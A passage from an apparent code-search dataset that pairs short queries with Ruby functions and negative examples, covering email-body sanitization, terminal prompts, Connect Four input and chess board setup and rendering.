"def filter_body\n\t\tself.body = Sanitize.clean(self.body, Sanitize::Config::BASIC) unless self.body.blank?\n\t\tself.title = Sanitize.clean(self.title, Sanitize::Config::BASIC) unless self.title.blank?\n\tend",
"def clean\n unless self.subject.nil?\n self.subject = sanitize self.subject\n end\n self.body = sanitize self.body\n end",
"def cleanup_body\n self.body = self.body.to_s.chomp.strip.gsub(\"\\n\", \" \")\n end",
"def clean\n self.subject = sanitize(subject) if subject\n self.body = sanitize(body)\n end",
"def filter_body\n\t\tself.body = Sanitize.clean(self.body, Sanitize::Config::BASIC) unless self.body.blank?\n\t\tself.title = Sanitize.clean(self.title, Sanitize::Config::BASIC) unless self.title.blank?\n true\n\tend",
"def remove_bad_words\n self.body = body.to_s.remove_bad_words(self)\n end",
"def cleanup_body(body)\n delimiters = Setting.mail_handler_body_delimiters.to_s.split(/[\\r\\n]+/).reject(&:blank?).map {|s| Regexp.escape(s)}\n unless delimiters.empty?\n regex = Regexp.new(\"^[> ]*(#{ delimiters.join('|') })\\s*[\\r\\n].*\", Regexp::MULTILINE)\n body = body.gsub(regex, '')\n end\n body.strip\n end",
"def clean_body(text)\n text = strip_bad_chars(text)\n text.gsub!(/(\\r)?\\n/, \"\");\n text.gsub!(/\\s+/, ' ');\n\n # clean start and end whitespace\n text = text.strip;\n return text\nend",
"def sanitize_mail(mail)\n if mail.content_type.start_with? 'text/html'\n html = mail.body.decoded.encode('utf-8', mail.charset)\n Sanitize.fragment(html, Sanitize::Config.merge(Sanitize::Config::RELAXED,\n remove_contents: ['style']\n ))\n else\n Rack::Utils.escape_html(mail.body.decoded)\n end\n end",
"def prepare_body(body, env)\n Backend::Listener.threescale_extensions(env)[:no_body] ? ''.freeze : body\n end",
"def sanitized_message(tags_to_exclude: [], html_safe: true, escape_before_sanitizing: false)\n return self.message if self.message.blank?\n\n allowed_tags, allowed_attributes = Recognition.allowed_html_tags_and_attributes(tags_to_exclude: tags_to_exclude)\n opts = { tags: allowed_tags, attributes: allowed_attributes}\n\n message = self.message\n message = CGI.escapeHTML(message) if escape_before_sanitizing\n message = sanitize(message, opts)\n message = message.to_str unless html_safe # back to String from ActiveSupport::SafeBuffer\n message\n end",
"def valid_params_with_sanitized_html\n valid_params.yield_self do |params|\n params.merge(\n sanitized_html: EmailSender.sanitize_html(params[:body])\n )\n end\n end",
"def clean\n self.subject = MessageCenter::Cleaner.instance.sanitize(subject)\n end",
"def clean_up_email_body(email_message)\n\n # delete attachments\n email_message.without_attachments!\n\n parts = email_message.parts\n\n if parts.length > 0\n # parts Default sort is to 'text/plain', then 'text/enriched', then 'text/html' with any other content\n text_plain_body = parts[0].body\n unless text_plain_body.empty?\n return text_plain_body.to_s\n else\n return ''\n end\n else\n return email_message.body.to_s\n end\n end",
"def sanitize_message message\n message.gsub(CommandsFilter, '').strip\n end",
"def process_email_body(message_body)\n # take everything in front of the first 'Respond by replying to this email - above this line'\n message_body = message_body.split(EMAIL_SEPARATOR).first\n\n # remove any leading or trailing spaces\n message_body.strip!\n\n # clean up the newlines\n message_body.gsub!(/[\\s]*\\n[\\s]*/, \"\\n\")\n\n # for the next transformation it makes things easier if we have new lines at the begining and end\n message_body = \"\\n#{message_body}\\n\"\n\n stop_words = [/notifications[@=]restaurantintelligenceagency.com/,\n /Sent from my [\\w ]+\\s*/,\n /Sent from myTouch [\\w ]+\\s*/,\n /Sent via [\\w ]+\\s*/,\n /\\s*On (mon|tue|wed|thu|fri|sat|sun).* at \\d+\\:\\d\\d (AM|PM)[^a-zA-Z0-9]*/i,\n /\\s*On (mon|tue|wed|thu|fri|sat|sun).* at \\d+\\:\\d\\d[^a-zA-Z0-9]*/i,\n /.*subject\\:.*/i,\n /.*to\\:.*/i,\n /.*date\\:.*/i,\n /.*sent\\:.*/i,\n /.*wrote\\:.*/i,\n /-*Original Message-*/,\n /---+/,\n /^#yiv/,\n /^Email$/,\n /^td\\{/,\n /border:1px solid red;/] + \\\n Admin::EmailStopword.all.map { |stopword| /^#{stopword.phrase}$/}\n\n message_lines = message_body.split(\"\\n\").reject { |line|\n stop_words.any? { |word| line.match(word) }\n }\n\n message_body = message_lines.join(\"\\n\")\n\n # if the last line contains any of these expressions, then remove it\n 3.times do\n message_body.gsub!(/\\s*$/i, \"\\n\")\n end\n\n # remove any lines which dont contain at least one alpha numeric\n message_body.gsub!(/\\n[^a-zA-Z0-9]+\\n/,\"\\n\")\n\n # remove any leading or trailing spaces\n message_body.strip!\n\n return message_body\n end",
"def check_body\n return true if body.blank?\n\n limit = 1_500_000\n current_length = body.length\n return true if body.length <= limit\n\n raise Exceptions::UnprocessableEntity, \"body of article is too large, #{current_length} chars - only #{limit} allowed\" if !ApplicationHandleInfo.postmaster?\n\n logger.warn \"WARNING: cut string because of database length #{self.class}.body(#{limit} but is #{current_length})\"\n self.body = body[0, limit]\n end",
"def normalize_body(body)\n if body.respond_to?(:body)\n body = body.body.to_s\n end\n\n limit = Config.instance.http_body_limit\n if limit\n body.byteslice(0, limit)\n else\n body\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
prompts player to choose from available columns
|
def choose_column
available_cols = board.available_columns
loop do
puts "#{@light_turn ? LIGHT : DARK}'s turn."
puts "Please choose a column from (#{available_cols.join(", ")})"
col = gets.chomp.to_i
return col if available_cols.include? col
end
end
|
[
"def column_choice\n print \"Please enter the column you would like to drop your disc:\\n>> \"\n choice = gets.chomp.to_i\n until @board.valid_column?(choice)\n print \"Not a valid column. Please enter a valid column:\\n>> \"\n choice = gets.chomp.to_i\n end\n choice\n end",
"def ask_choice_prompt\n puts \"Which cell will you take?\"\n print '>'\n end",
"def prompt_question\n prompt = TTY::Prompt.new\n puts ' '\n puts '* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *'\n puts ' '\n rows = { 'Row 1': 1, 'Row 2': 2, 'Row 3': 3, 'Row 4': 4, 'Check out the rules!': 5, 'Exit game': 6 }\n init_row = prompt.select(\"Which row you want to place the card?\", rows, cycle: true)\n return init_row\n end",
"def play_column\n #Makes players into X and O as their markers\n puts \"It's #{player.even? ? marker = \"X\" : marker = \"O\"}'s turn!'\"\n puts \"Choose a column to play your marker (1-7)\"\n answer = gets.chomp\n end",
"def display_columns config={}\n prompt = config[:prompt] || \"Choose: \"\n require 'canis/core/util/rcommandwindow'\n layout = { :height => 5, :width => Ncurses.COLS-0, :top => Ncurses.LINES-6, :left => 0 }\n rc = CommandWindow.new nil, :layout => layout, :box => true, :title => config[:title] || \"Menu\"\n w = rc.window\n r = 4\n c = 1\n color = $datacolor\n begin\n menu = @options\n $log.debug \" DISP MENU \"\n ret = 0\n len = 80\n while true\n h = {}\n valid = []\n labels = []\n menu.each{ |item|\n if item.respond_to? :hotkey\n hk = item.hotkey.to_s\n else\n raise ArgumentError, \"Promptmenu needs hotkey or mnemonic\"\n end\n # 187compat 2013-03-20 - 19:00 throws up\n labels << \"%c. %s \" % [ hk.getbyte(0), item.label ]\n h[hk] = item\n valid << hk\n }\n #$log.debug \" valid are #{valid} \"\n color = $datacolor\n #print_this(win, str, color, r, c)\n rc.display_menu labels, :indexing => :custom\n ch=w.getchar()\n rc.clear\n #$log.debug \" got ch #{ch} \"\n next if ch < 0 or ch > 255\n if ch == 3 || ch == ?\\C-g.getbyte(0)\n clear_this w, r, c, color, len\n print_this(w, \"Aborted.\", color, r,c)\n break\n end\n ch = ch.chr\n index = valid.index ch\n if index.nil?\n clear_this w, r, c, color, len\n print_this(w, \"Not valid. Valid are #{valid}. C-c/C-g to abort.\", color, r,c)\n sleep 1\n next\n end\n #$log.debug \" index is #{index} \"\n item = h[ch]\n # I don;t think this even shows now, its useless\n if item.respond_to? :desc\n desc = item.desc\n #desc ||= \"Could not find desc for #{ch} \"\n desc ||= \"\"\n clear_this w, r, c, color, len\n print_this(w, desc, color, r,c)\n end\n action = item.action\n case action\n #when Array\n when PromptMenu\n # submenu\n menu = action.options\n title = rc.title\n rc.title title +\" => \" + action.text # set title of window to submenu\n when Proc\n #rc.destroy\n ##bottom needs to be refreshed somehow\n #FFI::NCurses.ungetch ?j\n rc.hide\n ret = action.call\n break\n when Symbol\n if @caller.respond_to?(action, true)\n rc.hide\n $log.debug \"XXX: IO caller responds to action #{action} \"\n ret = @caller.send(action)\n elsif @caller.respond_to?(:execute_this, true)\n rc.hide\n ret = @caller.send(:execute_this, action)\n else\n alert \"PromptMenu: unidentified action #{action} for #{@caller.class} \"\n raise \"PromptMenu: unidentified action #{action} for #{@caller.class} \"\n end\n\n break\n else \n $log.debug \" Unidentified flying class #{action.class} \"\n break\n end\n end # while\n ensure\n rc.destroy\n rc = nil\n end\n end",
"def choose_promotion(piece, column, row)\n choice = 'p'\n puts \"\"\n puts \"Congratulations, #{@current_player.color}, your pawn has been promoted!\"\n puts \"What would you like your promotion to be? Please enter\"\n puts \"q, r, k, or b for queen, rook, knight, or bishop, respectively.\"\n until choice.include?('q') || choice.include?('r') || choice.include?('k') ||\n choice.include?('b')\n puts \"\" \n print \"#{@current_player.color}, please select your promotion: \"\n choice = gets.chomp\n end\n choice\n end",
"def move_maker\n GameBoard.print_game_board($game_board)\n $move_counter+=1\n $x_or_o = if $move_counter.even? then \"o\" else \"x\" end \n print \"\\n --> Press key 1-8 to pick a column\\n\\n\\tPlayer \", $x_or_o, \" > \"\n input_range()\n if Move.check_move == \"column complete\"\n print \"\\n\\n\\tChoose different column!\"\n $move_counter-=1\n sleep(1)\n end\n end",
"def selection(question, choices)\n\t\t@prompt.select(question, choices)\n\tend",
"def columnOnePressed()\n\t\tif(not(@playing)) then\n\t\t\t@message = \"Click Deal to start playing!\"\n\t\t\tupdate\n\t\telsif(@round < 3) then\n\t\t\tpick_up_cards(1)\n\t\telse\n\t\t\treveal_card(1)\n\t\tend\n\tend",
"def ask_select prompt=\"Enter selection pattern: \"\n ret = get_string prompt\n return if ret.nil? || ret == \"\"\n indices = get_matching_indices ret\n #$log.debug \"listselectionmodel: ask_select got matches#{@indices} \"\n return if indices.nil? || indices.empty?\n indices.each { |e|\n # will not work if single select !! FIXME\n add_row_selection_interval e,e\n }\n end",
"def prompt\n options = [\"Default\", \"Food\", \"Hacker\", \"Game of Thrones\",\n \"Lord of the Rings\"]\n rows = []\n rows << [\"Easy\".colorize(:green), 10]\n rows << [\"Medium\".colorize(:yellow), 7]\n rows << [\"Hard\".colorize(:red), 5]\n table = Terminal::Table.new :title => \"Pick your Difficulty\",\n :headings => [\"Difficulty\", \"Num of Guesses\"], :rows => rows\n puts table\n input = gets.chomp.downcase\n case input\n when \"easy\"\n @difficulty = 10\n when \"medium\"\n @difficulty = 7\n when \"hard\"\n @difficulty = 5\n else\n puts \"That's not a valid input\"\n prompt\n end\n rows_two = []\n rows_two << [\"Default\"]\n rows_two << [\"Food\".colorize(:light_red)]\n rows_two << [\"Hacker\".colorize(:green)]\n rows_two << [\"Game of Thrones\".colorize(:red)]\n rows_two << [\"Lord of the Rings\".colorize(:yellow)]\n table_two = Terminal::Table.new :title => \"Pick your theme!\", :rows => rows_two\n puts table_two\n @theme = gets.chomp.downcase\n word\n end",
"def set_SelectColumns(value)\n set_input(\"SelectColumns\", value)\n end",
"def play_options(prompt)\n choices = [\n {name: \"Hit\", value: 1},\n {name: \"Stand\", value: 2},\n {name: \"Exit\", value: 3}\n ]\n chosen_option = prompt.select(\"What would you like to do?\", choices, help_color: :yellow, help: \"(Use Keybvoard keys)\", show_help: :start, filter: true)\nend",
"def first_options_prompt\n prompt = TTY::Prompt.new\n prompt.select(\"Are you interested in class information, spell information, or do you want to view/build spell slots for your character:\", %w(Class Spells Slots Exit))\nend",
"def database_all_column_questions(table,*skipif)\n\t\t#puts \"now in col quest\"\n\t\trecived_answers = [[]]\n\t\t\tcol = DBDoer::table_columns('nonid', table)\n\t\t\t\tputs col\n\t\t\t\tquest = \"\\twhat is the \"\n\t\t\t\ti = 0\n\t\t\t\tdefined_lookup = ''\n\n\t\t\t\t\tcol.each do |q|\n\n\t\t\t\t\t\ti +=1\n\t\t\t\t\t\tgo_to_next = 0\n\t\t\t\t\t\tskipif.each do |sk|\n\t\t\t\t\t\t \t\n\t\t\t\t\t\t\tgo_to_next = 1 if i == sk \n\t\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tnext if go_to_next == 1\n\t\t\t\t\t\t\tspace('std2')\n\t\t\t\t\t\t\t\tprint_columns(col, recived_answers)\n\t\t\t\t\t\t\t\t\tspace('std1')\n\t\t\t\t\t\t\t\t\t\tputs quest + q + \"\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\tchoose_one(q,col[i-2],recived_answers[0].last) if q.include?('id') && q != 'id'\n\t\t\t\t\t\t\t\tchoice = gets.chomp\n\t\t\t\t\t\t\trecived_answers[0] << choice\n\t\t\t\t\t\t\t\n\t\t\t\t\tend\n\n\t\t\t\tprint_columns(col, recived_answers)\n\t\t\t\trecived_answers\n\tend",
"def player_input\n correct_input = false\n puts \"Please select a column number 1 - 8:\"\n user_selected = gets.to_i\n while correct_input === false\n if user_selected < 1 || user_selected > 8\n puts \"You selected #{user_selected}. Please select a column number 1 - 8:\"\n user_selected = gets.to_i\n else\n return user_selected - 1\n end\n end\nend",
"def get_selected_cols(row, index)\n if @options.cols[index] == []\n #give all the cols if wasn't specified\n selected_cols = row\n else\n selected_cols = []\n #get only those fields that were specified in options of a command line\n row.each_with_index{|val, key| selected_cols << val if @options.cols[index].include?(key - 1) }\n end\n #return the col nums\n selected_cols\n end",
"def movie_list_prompt(data)\n\tprompt = TTY::Prompt.new\n\tprompt.select(\"Select a movie\", data, per_page: 10)\nend",
"def check_columns_for_winner\n # TODO\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Populate the game board with chess pieces
|
def populate
@board[7][0] = ChessPiece.new "w_rook_1", "\u2656"
@board[7][1] = ChessPiece.new "w_knight_1", "\u2658"
@board[7][2] = ChessPiece.new "w_bishop_1", "\u2657"
@board[7][3] = ChessPiece.new "w_queen", "\u2655"
@board[7][4] = ChessPiece.new "w_king", "\u2654"
@board[7][5] = ChessPiece.new "w_bishop_2", "\u2657"
@board[7][6] = ChessPiece.new "w_knight_2", "\u2658"
@board[7][7] = ChessPiece.new "w_rook_2", "\u2656"
@board[0][0] = ChessPiece.new "b_rook_1", "\u265C"
@board[0][1] = ChessPiece.new "b_knight_1", "\u265E"
@board[0][2] = ChessPiece.new "b_bishop_1", "\u265D"
@board[0][3] = ChessPiece.new "b_queen", "\u265B"
@board[0][4] = ChessPiece.new "b_king", "\u265A"
@board[0][5] = ChessPiece.new "b_bishop_2", "\u265D"
@board[0][6] = ChessPiece.new "b_knight_2", "\u265E"
@board[0][7] = ChessPiece.new "b_rook_2", "\u265C"
(0..7).each do |id|
@board[6][id] = ChessPiece.new "w_pawn_#{id+1}", "\u2659"
@board[1][id] = ChessPiece.new "b_pawn_#{id+1}", "\u265F"
end
end
|
[
"def populate_board\n black = \"black\"\n white = \"white\"\n\n white_pawns = [\"A2\", \"B2\", \"C2\", \"D2\", \"E2\", \"F2\", \"G2\", \"H2\"]\n black_pawns = [\"A7\", \"B7\", \"C7\", \"D7\", \"E7\", \"F7\", \"G7\", \"H7\"]\n\n # create white pawns\n white_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(white, pos)\n end\n\n # create white pieces\n @board.nodes[\"E1\"].piece = create_king(white, \"E1\")\n @board.nodes[\"D1\"].piece = create_queen(white, \"D1\")\n @board.nodes[\"C1\"].piece = create_bishop(white, \"C1\")\n @board.nodes[\"F1\"].piece = create_bishop(white, \"F1\")\n @board.nodes[\"B1\"].piece = create_knight(white, \"B1\")\n @board.nodes[\"G1\"].piece = create_knight(white, \"G1\")\n @board.nodes[\"A1\"].piece = create_rook(white, \"A1\")\n @board.nodes[\"H1\"].piece = create_rook(white, \"H1\")\n\n # create black pawns\n black_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(black, pos)\n end\n\n # create black pieces\n @board.nodes[\"E8\"].piece = create_king(black, \"E8\")\n @board.nodes[\"D8\"].piece = create_queen(black, \"D8\")\n @board.nodes[\"C8\"].piece = create_bishop(black, \"C8\")\n @board.nodes[\"F8\"].piece = create_bishop(black, \"F8\")\n @board.nodes[\"B8\"].piece = create_knight(black, \"B8\")\n @board.nodes[\"G8\"].piece = create_knight(black, \"G8\")\n @board.nodes[\"A8\"].piece = create_rook(black, \"A8\")\n @board.nodes[\"H8\"].piece = create_rook(black, \"H8\")\n\n end",
"def set_up_pieces(owner)\n\t\tif owner == @white_player \n\t\t\trow_to_fill = 1\n\t\t\tcolor = \"W\"\n\t\telse\n\t\t\trow_to_fill = 8\n\t\t\tcolor = \"B\"\n\t\tend\n\t\t\n\t\t#Creating back row\n\t\t@squares[[row_to_fill, 1]] = Chesspiece.new(owner, \"Rook\", \"#{color}R\")\n\t\t@squares[[row_to_fill, 2]] = Chesspiece.new(owner, \"Knight\", \"#{color}N\")\n\t\t@squares[[row_to_fill, 3]] = Chesspiece.new(owner, \"Bishop\", \"#{color}B\")\n\t\t@squares[[row_to_fill, 6]] = Chesspiece.new(owner, \"Bishop\", \"#{color}B\")\n\t\t@squares[[row_to_fill, 7]] = Chesspiece.new(owner, \"Knight\", \"#{color}N\")\n\t\t@squares[[row_to_fill, 8]] = Chesspiece.new(owner, \"Rook\", \"#{color}R\")\n\n\t\t#creating king and queen on correct side\n\t\tif owner == @white_player\n\t\t\t@squares[[row_to_fill, 4]] = Chesspiece.new(owner, \"King\", \"#{color}K\")\n\t\t\t@squares[[row_to_fill, 5]] = Chesspiece.new(owner, \"Queen\", \"#{color}Q\")\n\t\telse\n\t\t\t@squares[[row_to_fill, 5]] = Chesspiece.new(owner, \"Queen\", \"#{color}Q\")\n\t\t\t@squares[[row_to_fill, 4]] = Chesspiece.new(owner, \"King\", \"#{color}K\")\n\t\tend\n\n\t\t#create pawns\n\t\trow_to_fill = owner == @white_player ? 2 : 7\n\t\tj = 1\n\t\twhile j < 9\n\t\t\t@squares[[row_to_fill, j]] = Chesspiece.new(owner, \"Pawn\", \"#{color}P\")\n\t\t\tj += 1\n\t\tend\n\tend",
"def new_game\n\t\t@gameboard = Gameboard.new\n\t\t@pieces = [\n\t\t\tPiece.new(:king,:white,[:E,1]), Piece.new(:queen,:white,[:D,1]),\n\t\t\tPiece.new(:rook,:white,[:H,1]), Piece.new(:rook,:white,[:A,1]),\n\t\t\tPiece.new(:knight,:white,[:G,1]), Piece.new(:knight,:white,[:B,1]),\n\t\t\tPiece.new(:bishop,:white,[:F,1]), Piece.new(:bishop,:white,[:C,1]),\n\t\t\tPiece.new(:pawn,:white,[:A,2]), Piece.new(:pawn,:white,[:B,2]),\n\t\t\tPiece.new(:pawn,:white,[:C,2]), Piece.new(:pawn,:white,[:D,2]),\n\t\t\tPiece.new(:pawn,:white,[:E,2]), Piece.new(:pawn,:white,[:F,2]),\n\t\t\tPiece.new(:pawn,:white,[:G,2]), Piece.new(:pawn,:white,[:H,2]),\n\t\t\tPiece.new(:king,:black,[:E,8]), Piece.new(:queen,:black,[:D,8]),\n\t\t\tPiece.new(:rook,:black,[:H,8]), Piece.new(:rook,:black,[:A,8]),\n\t\t\tPiece.new(:knight,:black,[:G,8]), Piece.new(:knight,:black,[:B,8]),\n\t\t\tPiece.new(:bishop,:black,[:F,8]), Piece.new(:bishop,:black,[:C,8]),\n\t\t\tPiece.new(:pawn,:black,[:A,7]),Piece.new(:pawn,:black,[:B,7]),\n\t\t\tPiece.new(:pawn,:black,[:C,7]), Piece.new(:pawn,:black,[:D,7]),\n\t\t\tPiece.new(:pawn,:black,[:E,7]), Piece.new(:pawn,:black,[:F,7]),\n\t\t\tPiece.new(:pawn,:black,[:G,7]), Piece.new(:pawn,:black,[:H,7])\n\t\t\t]\n\t\t@pieces.each do |piece|\n\t\t\t@gameboard.occupied_spaces << piece.position\n\t\tend\n\t\tputs \"You have started a new game of chess!\"\n\t\tputs \"Each player will take turns, starting with\"\n\t\tputs \"white, and whoever can put the other\"\n\t\tputs \"player's king in checkmate wins!\"\n\t\tgameplay_options\n\t\tturn(:white)\n\tend",
"def setup_board\n @startup = true\n @board = @board.map{|col| col.map{|piece| Piece.new if piece.nil?}}\n clear_matches\n @startup = false\n @pieces_removed = 0\n end",
"def set_pieces\n\t\t(0..7).each do |row|\n\t\t\tcase row\n\t\t\twhen 0\n\t\t\t\tplace_special_pieces(row, :white)\n\t\t\twhen 1\n\t\t\t\tplace_pawns(row, :white)\n\t\t\twhen 6\n\t\t\t\tplace_pawns(row, :black)\n\t\t\twhen 7\n\t\t\t\tplace_special_pieces(row, :black)\n\t\t\tend\n\t\tend\n\tend",
"def generate_board\n [0, 1, 2].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :B) if offset.odd?\n end\n end\n\n [5, 6, 7].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :W) if offset.odd?\n end\n end\n end",
"def make_board\n @colors, @squares = Array.new(120) { 6 }, Array.new(120) { 6 }\n @kings, piece_count = [nil, nil], 0\n 120.times do |i|\n if i < 21 || i % 10 == 0 || i % 10 == 9 || i > 98\n @colors[i], @squares[i] = -1, -1\n end\n end\n\n @fen.split.first.split('/').map do |row|\n row.chars.map { |sq| sq.between?('1', '8') ? sq.to_i.times.map { '6' } : sq }\n end.flatten.each_with_index do |sq, i|\n color, piece = FEN[sq][0], FEN[sq][1]\n @colors[SQ[i]], @squares[SQ[i]] = color, piece\n piece_count += 1 if piece != EMPTY\n @kings[color] = SQ[i] if piece == K\n end\n @stage = piece_count < 16 ? LATE : MID\n\n nil\n end",
"def build_pieces\n (1..8).each do |i|\n Pawn.new(2, i, \"white\") \n end\n Rook.new(1, 1, \"white\")\n Knight.new(1, 2, \"white\")\n Bishop.new(1, 3, \"white\")\n Queen.new(1, 4, \"white\")\n King.new(1, 5, \"white\")\n Bishop.new(1, 6, \"white\")\n Knight.new(1, 7, \"white\")\n Rook.new(1, 8, \"white\")\n (1..8).each do |i|\n Pawn.new(7, i, \"black\") \n end\n Rook.new(8, 1, \"black\")\n Knight.new(8, 2, \"black\")\n Bishop.new(8, 3, \"black\")\n Queen.new(8, 4, \"black\")\n King.new(8, 5, \"black\")\n Bishop.new(8, 6, \"black\")\n Knight.new(8, 7, \"black\")\n Rook.new(8, 8, \"black\")\n end",
"def set_pieces\n @pieces.each do |piece|\n y , x = piece.location\n @rows[y][x] = piece\n end\n end",
"def setup\n\t\t#clear all pieces from spaces. Creates 2D array to hold pieces for both players\n\t\tself.clear();\n\t\tpieces = Array.new(2) {Array.new(12)};\n\n\t\tfor i in 0..11 do\n\t\t\tpieces[0][i] = Piece.new(:cyan);\n\t\tend\n\n\t\tfor i in 0..11 do\n\t\t\tpieces[1][i] = Piece.new(:magenta);\n\t\tend\n\n\t\t#adds pieces to the starting positions on the board\n\t\tpieceCount = 0;\n\t\tfor j in 0..1 do\n\t\t\tfor i in 0..5 do\n\t\t\t\t@spaces[\"#{i}#{j}\"].addPiece(pieces[0][pieceCount]);\n\t\t\t\tpieceCount = pieceCount + 1;\n\t\t\tend\n\t\tend\n\n\t\tpieceCount = 0;\n\t\tfor j in 4..5 do\n\t\t\tfor i in 0..5 do\n\t\t\t\t@spaces[\"#{i}#{j}\"].addPiece(pieces[1][pieceCount]);\n\t\t\t\tpieceCount = pieceCount + 1;\n\t\t\tend\n\t\tend\n\n\t\treturn pieces\n\tend",
"def populate_board \n @grid.each_index do |idx| \n (@grid[idx]).each do |tile| \n tile.bomb_status\n tile.ui_status\n end\n end\n @grid\n end",
"def get_board()\n #puts \"loading board, state: #{state}\"\n list = state.split(\":\")\n load_list = []\n list.each do |piece_list|\n piece_list = piece_list.split(\",\")\n \n piece_list[2] = \"black\" if piece_list[2] == \"0\"\n piece_list[2] = \"white\" if piece_list[2] == \"1\"\n \n piece_list[0] = piece_list[0].to_i\n piece_list[1] = piece_list[1].to_i\n piece_list[3] = piece_list[3].to_i\n \n load_list.push(piece_list)\n end\n board = GameBoard.new\n board.set_turn(turn)\n #puts load_list\n board.fill_board(load_list)\n return board\n end",
"def board_populate\n tiles = []\n\n @bombs.times do |bomb|\n tiles << Tile.new(true)\n end\n\n ((@size * @size) - @bombs).times do |tile|\n tiles << Tile.new\n end\n\n tiles.shuffle!\n\n (0...@size).to_a.each do |x|\n (0...@size).to_a.each do |y|\n pos = [x, y]\n self[pos] = tiles.pop\n end\n end\n end",
"def startBoard\n\t\tline1Black=[:bR,:bN,:bB,:bQ,:bK,:bB,:bN,:bR]\n\t\tline1White=[:wR,:wN,:wB,:wQ,:wK,:wB,:wN,:wR]\n\t\tline2Black=[:bP,:bP,:bP,:bP,:bP,:bP,:bP,:bP]\n\t\tline2White=[:wP,:wP,:wP,:wP,:wP,:wP,:wP,:wP]\n\t\t@chessBoard[0]=line1Black\n\t\t@chessBoard[1]=line2Black\n\t\t@chessBoard[6]=line2White\n\t\t@chessBoard[7]=line1White\t\t\n\tend",
"def assign_pieces(player)\n if player.num == 1\n piece_color = \"W\"\n else\n piece_color = \"B\"\n end\n\n @board.each do |row|\n row.each do |piece|\n \n if !piece.nil?\n if piece.color == piece_color\n player.pieces << piece\n piece.player = player\n end\n end\n end\n end \n end",
"def setup_board(loc_to_piece_hash = {})\n board = Array.new(8) { Array.new(8, ChessGame::BLANK_SQUARE) }\n\n loc_to_piece_hash.each do |loc, piece|\n row, col = loc\n board[row][col] = piece\n end\n\n board\nend",
"def get_starting_pieces\n pieces = {}\n if @color == \"white\"\n pieces[:q_rook] = Rook.new([7,0], \"w_rook\", @board)\n pieces[:q_knight] = Knight.new([7,1], \"w_knight\", @board)\n pieces[:q_bishop] = Bishop.new([7,2], \"w_bishop\", @board)\n pieces[:queen] = Queen.new([7,3], \"w_queen\", @board)\n pieces[:king] = King.new([7,4], \"w_king\", @board)\n pieces[:k_bishop] = Bishop.new([7,5], \"w_bishop\", @board)\n pieces[:k_knight] = Knight.new([7,6], \"w_knight\", @board)\n pieces[:k_rook] = Rook.new([7,7], \"w_rook\", @board)\n 8.times do |i|\n key = \"pawn#{i}\"\n pieces[key.to_sym] = Pawn.new([6,i], \"w_pawn\", @board)\n end\n elsif @color == \"black\"\n pieces[:k_rook] = Rook.new([7,0], \"b_rook\", @board)\n pieces[:k_knight] = Knight.new([7,1], \"b_knight\", @board)\n pieces[:k_bishop] = Bishop.new([7,2], \"b_bishop\", @board)\n pieces[:king] = King.new([7,3], \"b_king\", @board)\n pieces[:queen] = Queen.new([7,4], \"b_queen\", @board)\n pieces[:q_bishop] = Bishop.new([7,5], \"b_bishop\", @board)\n pieces[:q_knight] = Knight.new([7,6], \"b_knight\", @board)\n pieces[:q_rook] = Rook.new([7,7], \"b_rook\", @board)\n 8.times do |i|\n key = \"pawn#{i}\"\n pieces[key.to_sym] = Pawn.new([6,i], \"b_pawn\", @board)\n end\n end\n pieces\n end",
"def initializeBlackSide(x)\n x[7][1] = Pawn.new(color: @player2.color, player: @player2)\n x[7][2] = Pawn.new(color: @player2.color, player: @player2)\n x[7][3] = Pawn.new(color: @player2.color, player: @player2)\n x[7][4] = Pawn.new(color: @player2.color, player: @player2)\n x[7][5] = Pawn.new(color: @player2.color, player: @player2)\n x[7][6] = Pawn.new(color: @player2.color, player: @player2)\n x[7][7] = Pawn.new(color: @player2.color, player: @player2)\n x[7][8] = Pawn.new(color: @player2.color, player: @player2)\n \n #other pieces\n x[8][1] = Rook.new(color: @player2.color, player: @player2) \n x[8][2] = Knight.new(color: @player2.color, player: @player2) \n x[8][3] = Bishop.new(color: @player2.color, player: @player2) \n x[8][4] = Queen.new(color: @player2.color, player: @player2) \n x[8][5] = King.new(color: @player2.color, player: @player2) \n x[8][6] = Bishop.new(color: @player2.color, player: @player2) \n x[8][7] = Knight.new(color: @player2.color, player: @player2) \n x[8][8] = Rook.new(color: @player2.color, player: @player2) \n\n return x\n end",
"def fillBoard\n\t\tblank = ((\" \"*8 + \",\") * 8).split(\",\")\n\t\t@chessBoard.pieces.keys.each do |key|\n\t\t\tpiece = @chessBoard.pieces[key]\n\t\t\tpos = piece.position\n\t\t\ts = blank[pos[1]]\n\t\t\ts[pos[0]] = piece.symbol\n\t\t\tblank[pos[1]] = s\n\t\tend\n\t\treturn blank\n\tend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns a string that resembles a chess board
|
def format
display_string = ""
(0..7).each do |row|
display_string += "#{row}"
(0..7).each do |col|
if @board[row][col].instance_of? ChessPiece
display_string += "[#{@board[row][col].unicode} ]"
elsif @board[row][col].is_a? String
display_string += @board[row][col]
end
end
display_string += "\n"
end
return display_string
end
|
[
"def board_string\n result = \" 0 1 2\\n\"\n (0...3).each do |row|\n result += \"#{row} \"\n (0...3).each do |col|\n value = maybe_colorize(row, col)\n result += value + '|'\n end\n result = result[0..-2] + \"\\n\"\n result += \" #{'-' * 5}\\n\" unless row == 2 # No horizontal divider after last row.\n end\n result\n end",
"def board_to_string\n line = \"#{\"----\" * @size}\"\n board_as_string = \"#{line}\"\n @board.each do |columns|\n row = \"\\n\"\n columns.each do |element|\n element = \" \" if element.nil? # keeps alignment\n row = \"#{row}| #{element} \"\n end\n board_as_string << \"#{row}|\\n#{line}\"\n end\n return board_as_string\n end",
"def to_s_canonical\r\n board.join('')\r\n end",
